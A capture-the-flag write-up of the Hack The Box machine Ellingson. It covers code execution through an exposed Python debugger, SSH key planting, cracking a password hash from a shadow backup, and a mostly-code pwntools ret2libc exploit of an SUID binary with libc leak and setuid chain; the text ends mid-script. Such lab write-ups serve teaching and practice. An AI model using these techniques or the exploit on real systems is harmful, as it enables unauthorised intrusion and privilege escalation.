Hack The Box - Ellingson
Hack The Box - Ellingson
Quick Summary
Hey guys, today Ellingson retired and here’s my write-up about it. It was a fun box with a very nice binary exploitation privesc, I found the way of getting RCE on this box (which was by abusing the debugger of a python server that was running on the box) very interesting. It’s a Linux box and its ip is 10.10.10.139
, I added it to /etc/hosts
as ellingson.htb
. Let’s jump right in !
Nmap
As always we will start with nmap
to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/ellingson# nmap -sV -sT -sC -o nmapinitial ellingson.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-18 14:11 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.79 seconds
We got http
on port 80 and ssh
on port 22.
Web Enumeration
Let’s take a look at the index page:
http://ellingson.htb
:
The only interesting thing was these articles at the top of the page:
The first one was talking about a virus that was planted in their mainframe:
The second one was talking about a brute-force protection that was recently added which tells us not to attempt to bruteforce anything or we’ll get banned:
The third one was advising users to change their passwords because of some suspicious network activity that was detected, telling them that the most common passwords are Love, Secret, Sex and God:
So far the only interesting thing we have is the 4 common passwords.
The articles path followed this pattern: /articles/n
(n
is the article number) so I thought of trying different numbers to see if there’s a hidden article or something like that. When I tried 4
I got an error because that article doesn’t exist, I expected a 404
error but I got this debugger:
By hovering over one of the lines a small console icon appears, its description says that it open an interactive python shell:
RCE –> SSH as hal
With popen()
from os
we can execute commands and read the output like this:
>>> print (os.popen('whoami').read())
hal
We are executing commands as hal
who doesn’t have the user flag:
>>> print (os.popen('pwd').read())
/
>>> print (os.popen('ls -la /home').read())
total 24
drwxr-xr-x 6 root root 4096 Mar 9 2019 .
drwxr-xr-x 23 root root 4096 Mar 9 2019 ..
drwxrwx--- 3 duke duke 4096 Mar 10 2019 duke
drwxrwx--- 5 hal hal 4096 May 7 13:12 hal
drwxrwx--- 6 margo margo 4096 Oct 18 11:01 margo
drwxrwx--- 4 theplague theplague 4096 May 7 13:13 theplague
>>> print (os.popen('ls -la /home/hal').read())
total 36
drwxrwx--- 5 hal hal 4096 May 7 13:12 .
drwxr-xr-x 6 root root 4096 Mar 9 2019 ..
-rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout
-rw-r--r-- 1 hal hal 3771 Mar 9 2019 .bashrc
drwx------ 2 hal hal 4096 Mar 10 2019 .cache
drwx------ 3 hal hal 4096 Mar 10 2019 .gnupg
-rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile
drwx------ 2 hal hal 4096 Oct 18 08:28 .ssh
-rw------- 1 hal hal 865 Mar 9 2019 .viminfo
So we will need to be another user, however we need to get a shell first. We can simply echo
our public key to /home/hal/.ssh/auhtorized_keys
and get ssh
as hal:
>>> print (os.popen('echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEUzu7cGthWtPNXM5/rAvPBywgyh68AEpSyUBXm24kByXu+GhEmvAiVlkAhasBgTjiCbpup3dmzz54ADlo4T2jUWoVVEDOw82eKQ6EoqpYnHGVmpDmJ1n7+eCvb3ut0bl5VOnTkhYSWS8G9V6V+E/VmDun63HoHCHzvtBlbN/ZmhRKxdwNFSYN/NswU8MFK+MVXxa/FJUxrOJVAnefXQdfDBxIt4j/qqMr68u9lQfqOX5shmS0M55lFNAY2mR6INBQtT6AnAWremPCHdUHxU3eSvzUcItaamecSPTfDgMQDQkxXrrsKQLkJeCKZ/1EwDBXIF3RGCeNGq0hCYHSF8d root@kali\" > /home/hal/.ssh/authorized_keys').read())
root@kali:~/Desktop/HTB/boxes/ellingson# ssh -i ./id_rsa hal@ellingson.htb
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Oct 18 12:30:03 UTC 2019
System load: 0.0 Processes: 105
Usage of /: 23.8% of 19.56GB Users logged in: 1
Memory usage: 18% IP address for ens33: 10.10.10.139
Swap usage: 0%
=> There is 1 zombie process.
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
163 packages can be updated.
80 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Oct 18 09:08:47 2019 from 10.10.15.92
hal@ellingson:~$ whoami
hal
hal@ellingson:~$
shadow.bak –> SSH as margo
There are 4 users on the box: duke
, hal
, margo
and theplague
:
hal@ellingson:/home$ ls -al
total 24
drwxr-xr-x 6 root root 4096 Mar 9 2019 .
drwxr-xr-x 23 root root 4096 Mar 9 2019 ..
drwxrwx--- 3 duke duke 4096 Mar 10 2019 duke
drwxrwx--- 5 hal hal 4096 May 7 13:12 hal
drwxrwx--- 6 margo margo 4096 Oct 18 11:01 margo
drwxrwx--- 4 theplague theplague 4096 May 7 13:13 theplague
hal@ellingson:/home$
One of the places I always like to check when trying to escalate privileges is /var/backups
. On this box there was a backup for /etc/shadow
there:
hal@ellingson:/var/backups$ ls -la
total 708
drwxr-xr-x 2 root root 4096 May 7 13:14 .
drwxr-xr-x 14 root root 4096 Mar 9 2019 ..
-rw-r--r-- 1 root root 61440 Mar 10 2019 alternatives.tar.0
-rw-r--r-- 1 root root 8255 Mar 9 2019 apt.extended_states.0
-rw-r--r-- 1 root root 437 Jul 25 2018 dpkg.diversions.0
-rw-r--r-- 1 root root 295 Mar 9 2019 dpkg.statoverride.0
-rw-r--r-- 1 root root 615441 Mar 9 2019 dpkg.status.0
-rw------- 1 root root 811 Mar 9 2019 group.bak
-rw------- 1 root shadow 678 Mar 9 2019 gshadow.bak
-rw------- 1 root root 1757 Mar 9 2019 passwd.bak
-rw-r----- 1 root adm 1309 Mar 9 2019 shadow.bak
hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$
First time I solved the box I created a list with all password combinations from rockyou that had the words “love, secret, sex and god” (most common passwords we saw earlier) and tried to crack the 3 hashes with it. I could get margo
’s password which had “god” in it.
root@kali:~/Desktop/HTB/boxes/ellingson# echo 'margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::' > margo.hash
root@kali:~/Desktop/HTB/boxes/ellingson# grep -i god /usr/share/wordlists/rockyou.txt > list.txt
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=./list.txt margo.hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08 (margo)
1g 0:00:00:08 DONE (2019-10-18 14:58) 0.1234g/s 829.6p/s 829.6c/s 829.6C/s iamgod22..hydrogod20
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now we can simply ssh
into the box as margo : iamgod$08
:
We owned user.
Binary: Analysis
I searched for suid
binaries and found a strange binary called garbage
:
margo@ellingson:~$ find / -perm -4000 2>/dev/null
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
---
When executed it asks for a password, providing a long password crashes it:
margo@ellingson:~$ /usr/bin/garbage
Enter access password: test
access denied.
margo@ellingson:~$ /usr/bin/garbage
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
access denied.
Segmentation fault (core dumped)
margo@ellingson:~$
So we have a buffer overflow, I downloaded the binary on my machine:
root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/usr/bin/garbage ./
margo@ellingson.htb's password:
garbage 100% 18KB 60.4KB/s 00:00
root@kali:~/Desktop/HTB/boxes/ellingson#
checksec
shows that NX
(non-executable stack) is enabled so we will do a ret2libc
attack:
root@kali:~/Desktop/HTB/boxes/ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not
stripped
root@kali:~/Desktop/HTB/boxes/ellingson# checksec ./garbage
[*] '/root/Desktop/HTB/boxes/ellingson/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
ASLR
is enabled so will need to get around that:
margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2
I downloaded libc
from the box:
margo@ellingson:~$ ldd /usr/bin/garbage
linux-vdso.so.1 (0x00007ffd0a7f0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f55ded1e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f55df10f000)
margo@ellingson:~$
root@kali:~/Desktop/HTB/boxes/ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6 100% 1983KB 263.6KB/s 00:07
root@kali:~/Desktop/HTB/boxes/ellingson#
Binary: Exploitation
To defeat ASLR
our first rop
chain will leak __libc_start_main
by calling puts()
with __libc_start_main@plt
address as an argument. Then by subtracting __libc_start_main@@GLIBC
address from the leaked address we will get the base address of libc
.
After leaking libc
’s address we can easily calculate the addresses we need and do our second chain which will perform the ret2libc
attack.
First we need to find the offset, I used a pattern to do it (I’m using gef):
gef➤ pattern create
[+] Generating a pattern of 1024 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaa
aaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaa
acdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaade
aaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaa
aaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gef➤ r
Starting program: /root/Desktop/HTB/boxes/ellingson/garbage
Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
access denied.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401618 in auth ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007f472f47a504 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007f472f54d8c0 → 0x0000000000000000
$rsp : 0x00007ffcc590c3e8 → "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
$rbp : 0x6161616161616171 ("qaaaaaaa"?)
$rsi : 0x000000000077c9c0 → "access denied.\nssword:"
$rdi : 0x0
$rip : 0x0000000000401618 → <auth+261> ret
$r8 : 0x00007f472f552500 → 0x00007f472f552500 → [loop detected]
$r9 : 0x00007f472f54c848 → 0x00007f472f54c760 → 0x00000000fbad2a84
$r10 : 0xfffffffffffff638
$r11 : 0x246
$r12 : 0x0000000000401170 → <_start+0> xor ebp, ebp
$r13 : 0x00007ffcc590c4e0 → "xaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaacea[...]"
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc590c3e8│+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]" ← $rsp
0x00007ffcc590c3f0│+0x0008: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007ffcc590c3f8│+0x0010: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[...]"
0x00007ffcc590c400│+0x0018: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[...]"
0x00007ffcc590c408│+0x0020: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[...]"
0x00007ffcc590c410│+0x0028: "waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[...]"
0x00007ffcc590c418│+0x0030: "xaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabea[...]"
0x00007ffcc590c420│+0x0038: "yaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40160d <auth+250> call 0x401050 <puts@plt>
0x401612 <auth+255> mov eax, 0x0
0x401617 <auth+260> leave
→ 0x401618 <auth+261> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "garbage", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401618 → auth()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa
[+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'
[+] Found at offset 136 (big-endian search)
gef➤
Offset is 136 bytes, let’s start writing the exploit (I’m using pwntools).
First thing to do is to set-up the connection to the box and start the remote process, we have ssh
access so we can use that:
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
Then we need to load the binary file and libc
in the exploit:
elf = ELF("./garbage")
libc = ELF("./libc.so.6")
We can use the ROP()
function to load the rop
gadgets from the binary:
rop = ROP(elf)
exploit.py
:
#!/usr/bin/python
from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)
Exploitation: Leaking libc base address
I created a function called leak()
that takes 4 arguments (the process, the loaded binary file, libc
and the rop
gadgets):
def leak(p,elf,libc,rop):
This function will perform the 1st rop
chain, it will send 136 bytes to reach rip
and overwrite it with a pop rdi, ret
gadget, then it will send __libc_start_main@plt
’s address (will be placed in rdi
) and call puts()
which will take its argument from rdi
and print the address of __libc_start_main
. Finally it will call main()
again to prevent execution from breaking (if the execution breaks the leaked address will be of no use because it won’t be the same when we execute the program again).
We need the addresses of pop rdi, ret
gadget, __libc_start_main@plt
from the binary, puts()@plt
from the binary, main()
from the binary, to get them:
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
LIBC_START_MAIN = elf.symbols['__libc_start_main']
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
Now we can simply construct the payload:
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(LIBC_START_MAIN)
payload += p64(PUTS)
payload += p64(MAIN)
Finally we will send the payload and receive the leaked address:
p.recvuntil('password:')
p.sendline(payload)
p.recvline()
p.recvline()
leak = p.recvline().strip()
leak = u64(leak.ljust(8, "\x00"))
log.success("Leaked __libc_start_main: " + hex(leak))
return leak
Let’s test it:
exploit.py
:
#!/usr/bin/python
from pwn import *
def leak(p,elf,libc,rop):
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
LIBC_START_MAIN = elf.symbols['__libc_start_main']
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(LIBC_START_MAIN)
payload += p64(PUTS)
payload += p64(MAIN)
p.recvuntil('password:')
p.sendline(payload)
p.recvline()
p.recvline()
leak = p.recvline().strip()
leak = u64(leak.ljust(8, "\x00"))
log.success("Leaked __libc_start_main: " + hex(leak))
return leak
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)
leak = leak(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7730
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f3dbe66fab0
It’s working fine, to calculate the address of libc
we will simply subtract libc.sym["__libc_start_main"]
from the leaked address:
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Calculated libc address: " + hex(libc.address))
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 7858
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f56b2056ab0
[*] Calculated libc address: 0x7f56b2035000
Exploitation: ret2libc
Similar to the function leak()
I created another function called shell()
that takes the same arguments as leak()
:
def shell(p,elf,libc,rop):
This function will simply call the pop rdi,ret
gadget and place "/bin/sh"
in rdi
then call system()
which will take its argument from rdi
and execute a shell.
We need the addresses of ret
gadget, pop rdi, ret
gadget, "/bin/sh"
string from libc
, system()
from libc
, to get them:
RET = rop.find_gadget(['ret'])[0]
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
BIN_SH = next(libc.search("/bin/sh"))
SYSTEM = libc.sym["system"]
Then we will construct the payload:
payload = "A" * 136
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
And finally we will send the payload and switch into interactive mode:
p.recvuntil('password:')
p.sendline(payload)
p.interactive()
Let’s test it:
exploit.py
:
#!/usr/bin/python
from pwn import *
def leak(p,elf,libc,rop):
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
LIBC_START_MAIN = elf.symbols['__libc_start_main']
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(LIBC_START_MAIN)
payload += p64(PUTS)
payload += p64(MAIN)
p.recvuntil('password:')
p.sendline(payload)
p.recvline()
p.recvline()
leak = p.recvline().strip()
leak = u64(leak.ljust(8, "\x00"))
log.success("Leaked __libc_start_main: " + hex(leak))
return leak
def shell(p,elf,libc,rop):
RET = rop.find_gadget(['ret'])[0]
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
BIN_SH = next(libc.search("/bin/sh"))
SYSTEM = libc.sym["system"]
log.success("/bin/sh: " + hex(BIN_SH))
log.success("system: " + hex(SYSTEM))
payload = "A" * 136
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
p.recvuntil('password:')
p.sendline(payload)
p.interactive()
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)
leak = leak(p,elf,libc,rop)
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Calculated libc address: " + hex(libc.address))
shell(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8012
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f63c8d7eab0
[*] Calculated libc address: 0x7f63c8d5d000
[+] /bin/sh: 0x7f63c8f10e9a
[+] system: 0x7f63c8dac440
[*] Switching to interactive mode
access denied.
$ $ whoami
margo
$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
$ $
It works, but we get a shell as margo
not root
Exploitation: setuid –> root shell
To solve this we will create another chain that calls setuid()
and sets our uid
to 0.
I created a function called suid()
that takes the same arguments as the other functions:
def suid(p,elf,libc,rop):
This function will call the pop rdi, ret
gadget and it will put a 0
in rdi
, then it will call setuid()
which will take its argument from rdi
and will set our uid
to 0, and finally it will call main()
again.
We need the addresses of pop rdi, ret
gadget, setuid()
from libc
and main()
from the binary, to get them:
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
SUID = libc.sym['setuid']
MAIN = elf.symbols['main']
Then we will construct the payload and send it:
payload = "A" * 136
payload += p64(POP_RDI)
payload += p64(0)
payload += p64(SUID)
payload += p64(MAIN)
p.recvuntil('password:')
p.sendline(payload)
We will call this function before calling shell()
so our final exploit will be:
exploit.py
:
#!/usr/bin/python
from pwn import *
def leak(p,elf,libc,rop):
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
LIBC_START_MAIN = elf.symbols['__libc_start_main']
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
log.info("puts@plt: " + hex(PUTS))
